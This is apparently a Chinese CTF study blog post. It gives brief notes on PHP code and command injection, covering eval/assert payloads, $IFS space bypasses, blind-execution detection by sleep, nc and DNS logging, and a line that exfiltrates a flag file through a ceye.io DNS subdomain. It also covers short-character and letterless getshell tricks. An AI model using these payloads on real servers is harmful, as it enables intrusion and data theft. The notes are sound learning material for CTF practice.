代码执行相关函数以及简单的例题讲解

代码执行相关函数以及简单的例题讲解


由于没有针对代码中可以执行的特殊函数入口做过滤,导致用户可以提交恶意的语句,并且交给服务器执行。代码/命令注入攻击中web服务器没有过滤类似 system(),eval(),exec()等函数的传入参数是该漏洞攻击成功的主要原因

蚁剑支持php7,菜刀有时候不支持出现500的错误。

区别:

代码注入:

直接echo是不会输出 ,用eval包含就可以输出,和环境相关

没有替换不会执行代码执行

1[]=phpinfo()&1[]=&2=assert

命令执行相关函数以及各类命令执行绕过


exec获取的是最后一行内容,输出全部数据使用passthru()函数,

ifconfig最后一行是空。

只有能控制a得值才能生效 如果是在单双引号之间是没有效果得。

php 7是没有用的

命令执行绕过的技巧


命令执行的分隔符


命令执行的空格代替

cat$IFS‘exec.php’

命令执行的一些绕过

命令无回显的状况

判断:

延迟: ls|sleep 3

http请求: vps nc监听端口 使用curl 请求vps端口

dns: cecy.io/records/dns平台,然后使用三级域名解析

利用:

写入shell(直接写入\外部下载 curL)

http/dns等方式带出数据

cp where_is_flag.php 1.txt

cat where_is_flag.php|sed s/[[:space:]]//.php.wzrtbq.ceye.io

flag文件不能存在一个换行符

十五个字符可控的命令执行


思路: 分割shell

然后使用mv 1 1.php getshell

七个字符getshell


ls>a 文件名写入a 但是顺序不可控制

五个字符写入shell

四个字符

通配符 * 直接运行当前下面的文件名组成的命令。

无数字字母的命令执行相关例题

无字母生成字母??

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。

异或是一种方法: 生成字母

取反

自增:只能字母自增


 上一篇
反序列化的概念、魔术方法以及相关例题 反序列化的概念、魔术方法以及相关例题
反序列化的概念、魔术方法以及相关例题 类似于命令执行。 将变量序列化持久化。 将一个变量的数据转换位字符串,但并不是类型转换,目的就是将字符串存储在本地,相反的行为成为反序列化。序列化和反序列化的目的是让程序之间传输对象更加方便 。 序列化
2019-11-16 starjian
下一篇 
ssrf在ctf中的利用 ssrf在ctf中的利用
ssrf在ctf中的利用 ssrf漏洞的产生:是一种攻击者构造形成由服务器端发起请求的一个安全漏洞,一般情况下,ssrf是能够直接对目标网站的内部系统发起请求(因为他是从内部系统访问的,所以通过它攻击外网无法访问的内部系统,也就是把目标网站
2019-11-16 starjian
  目录